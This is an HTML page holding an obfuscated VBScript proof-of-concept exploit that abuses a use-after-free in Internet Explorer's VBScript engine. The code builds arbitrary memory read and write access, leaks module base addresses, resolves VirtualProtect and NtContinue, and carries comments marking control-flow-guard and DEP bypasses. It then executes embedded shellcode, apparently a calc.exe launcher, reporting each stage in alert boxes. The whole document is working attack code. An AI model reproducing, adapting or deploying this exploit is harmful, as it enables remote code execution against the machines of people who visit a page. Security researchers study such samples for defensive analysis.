<!doctype html> <html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="x-ua-compatible" content="IE=10"> <meta http-equiv="Expires" content="0"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Cache" content="no-cache"> </head> <body> <script language="vbscript"> Dim lIIl Dim IIIlI(6),IllII(6) Dim IllI Dim IIllI(40) Dim lIlIIl,lIIIll Dim IlII Dim llll,IIIIl Dim llllIl,IlIIII Dim NtContinueAddr,VirtualProtectAddr
IlII=195948557 lIlIIl=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") lIIIll=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") IllI=195890093 Function IIIII(Domain) lIlII=0 IllllI=0 IIlIIl=0 Id=CLng(Rnd*1000000) lIlII=CLng((&h27d+8231-&H225b)*Rnd)Mod (&h137d+443-&H152f)+(&h1c17+131-&H1c99) If(Id+lIlII)Mod (&h5c0+6421-&H1ed3)=(&h10ba+5264-&H254a) Then lIlII=lIlII-(&h86d+6447-&H219b) End If
IllllI=CLng((&h2bd+6137-&H1a6d)*Rnd)Mod (&h769+4593-&H1940)+(&h1a08+2222-&H2255) IIlIIl=CLng((&h14e6+1728-&H1b5d)*Rnd)Mod (&hfa3+1513-&H1572)+(&h221c+947-&H256e) IIIII=Domain &"?" &Chr(IllllI) &"=" &Id &"&" &Chr(IIlIIl) &"=" &lIlII End Function
Function lIIII(ByVal lIlIl) IIll="" For index=0 To Len(lIlIl)-1 IIll=IIll &lIlI(Asc(Mid(lIlIl,index+1,1)),2) Next IIll=IIll &"00" If Len(IIll)/(&h15c6+3068-&H21c0) Mod (&h1264+2141-&H1abf)=(&hc93+6054-&H2438) Then IIll=IIll &"00" End If For IIIl=(&h1a1a+3208-&H26a2) To Len(IIll)/(&h1b47+331-&H1c8e)-(&h14b2+4131-&H24d4) lIIIlI=Mid(IIll,IIIl*(&h576+1268-&Ha66)+(&ha64+6316-&H230f),(&ha49+1388-&Hfb3)) lIlIll=Mid(IIll,IIIl*(&hf82+3732-&H1e12)+(&h210+2720-&Hcaf)+(&h4fa+5370-&H19f2),(&hf82+5508-&H2504)) lIIII=lIIII &"%u" &lIlIll &lIIIlI Next End Function Function lIlI(ByVal Number,ByVal Length) IIII=Hex(Number) If Len(IIII)<Length Then IIII=String(Length-Len(IIII),"0") &IIII 'pad allign with zeros Else IIII=Right(IIII,Length) End If lIlI=IIII End Function Function GetUint32(lIII) Dim value llll.mem(IlII+8)=lIII+4 llll.mem(IlII)=8 'type string value=llll.P0123456789 llll.mem(IlII)=2 GetUint32=value End Function Function IllIIl(lIII) IllIIl=GetUint32(lIII) And (131071-65536) End Function Function lllII(lIII) lllII=GetUint32(lIII) And (&h17eb+1312-&H1c0c) End Function Sub llllll End Sub Function GetMemValue llll.mem(IlII)=(&h713+3616-&H1530) GetMemValue=llll.mem(IlII+(&h169c+712-&H195c)) End Function Sub SetMemValue(ByRef IlIIIl) llll.mem(IlII+(&h715+3507-&H14c0))=IlIIIl End Sub Function LeakVBAddr On Error Resume Next Dim lllll lllll=llllll lllll=null SetMemValue lllll LeakVBAddr=GetMemValue() End Function Function GetBaseByDOSmodeSearch(IllIll) Dim llIl llIl=IllIll And &hffff0000 Do While GetUint32(llIl+(&h748+4239-&H176f))<>544106784 Or GetUint32(llIl+(&ha2a+7373-&H268b))<>542330692 llIl=llIl-65536 Loop GetBaseByDOSmodeSearch=llIl End Function Function StrCompWrapper(lIII,llIlIl) Dim lIIlI,IIIl lIIlI="" For IIIl=(&ha2a+726-&Hd00) To Len(llIlIl)-(&h2e1+5461-&H1835) lIIlI=lIIlI &Chr(lllII(lIII+IIIl)) Next StrCompWrapper=StrComp(UCase(lIIlI),UCase(llIlIl)) End Function Function GetBaseFromImport(base_address,name_input) Dim import_rva,nt_header,descriptor,import_dir Dim IIIIII nt_header=GetUint32(base_address+(&h3c)) import_rva=GetUint32(base_address+nt_header+&h80) import_dir=base_address+import_rva descriptor=0 Do While True Dim Name Name=GetUint32(import_dir+descriptor*(&h14)+&hc) If Name=0 Then GetBaseFromImport=&hBAAD0000 Exit Function Else If StrCompWrapper(base_address+Name,name_input)=0 Then Exit Do End If End If descriptor=descriptor+1 Loop IIIIII=GetUint32(import_dir+descriptor*(&h14)+&h10) GetBaseFromImport=GetBaseByDOSmodeSearch(GetUint32(base_address+IIIIII)) End Function
Function GetProcAddr(dll_base,name) Dim p,export_dir,index Dim function_rvas,function_names,function_ordin Dim Illlll p=GetUint32(dll_base+&h3c) p=GetUint32(dll_base+p+&h78) export_dir=dll_base+p
function_rvas=dll_base+GetUint32(export_dir+&h1c) function_names=dll_base+GetUint32(export_dir+&h20) function_ordin=dll_base+GetUint32(export_dir+&h24) index=0 Do While True Dim lllI lllI=GetUint32(function_names+index*4) If StrCompWrapper(dll_base+lllI,name)=0 Then Exit Do End If index=index+1 Loop Illlll=IllIIl(function_ordin+index*2) p=GetUint32(function_rvas+Illlll*4) GetProcAddr=dll_base+p End Function
Function GetShellcode() IIlI=Unescape("%u0000%u0000%u0000%u0000") &Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc" &lIIII(IIIII(""))) IIlI=IIlI & String((&h80000-LenB(IIlI))/2,Unescape("%u4141")) GetShellcode=IIlI End Function Function EscapeAddress(ByVal value) Dim High,Low High=lIlI((value And &hffff0000)/&h10000,4) Low=lIlI(value And &hffff,4) EscapeAddress=Unescape("%u" &Low &"%u" &High) End Function Function lIllIl Dim IIIl,IlllI,IIlI,IlIII,llllI,llIII,lIllI IlllI=lIlI(NtContinueAddr,8) IlIII=Mid(IlllI,1,2) llllI=Mid(IlllI,3,2) llIII=Mid(IlllI,5,2) lIllI=Mid(IlllI,7,2) IIlI="" IIlI=IIlI &"%u0000%u" &lIllI &"00" For IIIl=1 To 3 IIlI=IIlI &"%u" &llllI &llIII IIlI=IIlI &"%u" &lIllI &IlIII Next IIlI=IIlI &"%u" &llllI &llIII IIlI=IIlI &"%u00" &IlIII lIllIl=Unescape(IIlI) End Function Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg Dim IIlI IIlI=String((100334-65536),Unescape("%u4141")) IIlI=IIlI &EscapeAddress(ShellcodeAddrParam) IIlI=IIlI &EscapeAddress(ShellcodeAddrParam) IIlI=IIlI &EscapeAddress(&h3000) IIlI=IIlI &EscapeAddress(&h40) IIlI=IIlI &EscapeAddress(ShellcodeAddrParam-8) IIlI=IIlI &String(6,Unescape("%u4242")) IIlI=IIlI &lIllIl() IIlI=IIlI &String((&h80000-LenB(IIlI))/2,Unescape("%u4141")) WrapShellcodeWithNtContinueContext=IIlI End Function Function ExpandWithVirtualProtect(lIlll) Dim IIlI Dim lllllI lllllI=lIlll+&h23 IIlI="" IIlI=IIlI &EscapeAddress(lllllI) IIlI=IIlI &String((&hb8-LenB(IIlI))/2,Unescape("%4141")) IIlI=IIlI &EscapeAddress(VirtualProtectAddr) IIlI=IIlI &EscapeAddress(&h1b) IIlI=IIlI &EscapeAddress(0) IIlI=IIlI &EscapeAddress(lIlll) IIlI=IIlI &EscapeAddress(&h23) IIlI=IIlI &String((&400-LenB(IIlI))/2,Unescape("%u4343")) ExpandWithVirtualProtect=IIlI End Function Sub ExecuteShellcode llll.mem(IlII)=&h4d 'DEP bypass llll.mem(IlII+8)=0 msgbox(IlII) 'VT replaced End Sub
Class cla1 Private Sub Class_Terminate() Set IIIlI(IllI)=lIIl((&h1078+5473-&H25d8)) IllI=IllI+(&h14b5+2725-&H1f59) lIIl((&h79a+3680-&H15f9))=(&h69c+1650-&Hd0d) End Sub
End Class
Class cla2 Private Sub Class_Terminate() Set IllII(IllI)=lIIl((&h15b+3616-&Hf7a)) IllI=IllI+(&h880+542-&Ha9d) lIIl((&h1f75+342-&H20ca))=(&had3+3461-&H1857) End Sub End Class
Class IIIlIl End Class
Class llIIl Dim mem Function P End Function Function SetProp(Value) mem=Value SetProp=0 End Function End Class
Class IIIlll Dim mem Function P0123456789 P0123456789=LenB(mem(IlII+8)) End Function Function SPP End Function End Class
Class lllIIl Public Default Property Get P Dim llII P=174088534690791e-324 For IIIl=(&h7a0+4407-&H18d7) To (&h2eb+1143-&H75c) IIIlI(IIIl)=(&h2176+711-&H243d) Next Set llII=New IIIlll llII.mem=lIlIIl For IIIl=(&h1729+3537-&H24fa) To (&h1df5+605-&H204c) Set IIIlI(IIIl)=llII Next End Property End Class
Class llllII Public Default Property Get P Dim llII P=636598737289582e-328 For IIIl=(&h1063+2314-&H196d) To (&h4ac+2014-&Hc84) IllII(IIIl)=(&h442+2598-&He68) Next Set llII=New IIIlll llII.mem=lIIIll For IIIl=(&h7eb+3652-&H162f) To (&h3e8+1657-&Ha5b) Set IllII(IIIl)=llII Next End Property End Class
Set llllIl=New lllIIl Set IlIIII=New llllII Sub UAF For IIIl=(&hfe8+3822-&H1ed6) To (&h8b+8633-&H2233) Set IIllI(IIIl)=New IIIlIl Next For IIIl=(&haa1+6236-&H22e9) To (&h1437+3036-&H1fed) Set IIllI(IIIl)=New llIIl Next IllI=0 For IIIl=0 To 6 ReDim lIIl(1) Set lIIl(1)=New cla1 Erase lIIl Next Set llll=New llIIl IllI=0 For IIIl=0 To 6 ReDim lIIl(1) Set lIIl(1)=New cla2 Erase lIIl Next Set IIIIl=New llIIl End Sub Sub InitObjects llll.SetProp(llllIl) IIIIl.SetProp(IlIIII) IlII=IIIIl.mem End Sub
Sub StartExploit UAF InitObjects vb_adrr=LeakVBAddr() Alert "CScriptEntryPointObject Leak: 0x" & Hex(vb_adrr) & vbcrlf & "VirtualTable address: 0x" & Hex(GetUint32(vb_adrr)) vbs_base=GetBaseByDOSmodeSearch(GetUint32(vb_adrr)) Alert "VBScript Base: 0x" & Hex(vbs_base) msv_base=GetBaseFromImport(vbs_base,"msvcrt.dll") Alert "MSVCRT Base: 0x" & Hex(msv_base) krb_base=GetBaseFromImport(msv_base,"kernelbase.dll") Alert "KernelBase Base: 0x" & Hex(krb_base) ntd_base=GetBaseFromImport(msv_base,"ntdll.dll") Alert "Ntdll Base: 0x" & Hex(ntd_base) VirtualProtectAddr=GetProcAddr(krb_base,"VirtualProtect") Alert "KernelBase!VirtualProtect Address 0x" & Hex(VirtualProtectAddr) NtContinueAddr=GetProcAddr(ntd_base,"NtContinue") Alert "KernelBase!VirtualProtect Address 0x" & Hex(NtContinueAddr) SetMemValue GetShellcode() ShellcodeAddr=GetMemValue()+8 Alert "Shellcode Address 0x" & Hex(ShellcodeAddr) SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr) lIlll=GetMemValue()+69596 SetMemValue ExpandWithVirtualProtect(lIlll) llIIll=GetMemValue() Alert "Executing Shellcode" ExecuteShellcode End Sub StartExploit </script> </body> </html>
|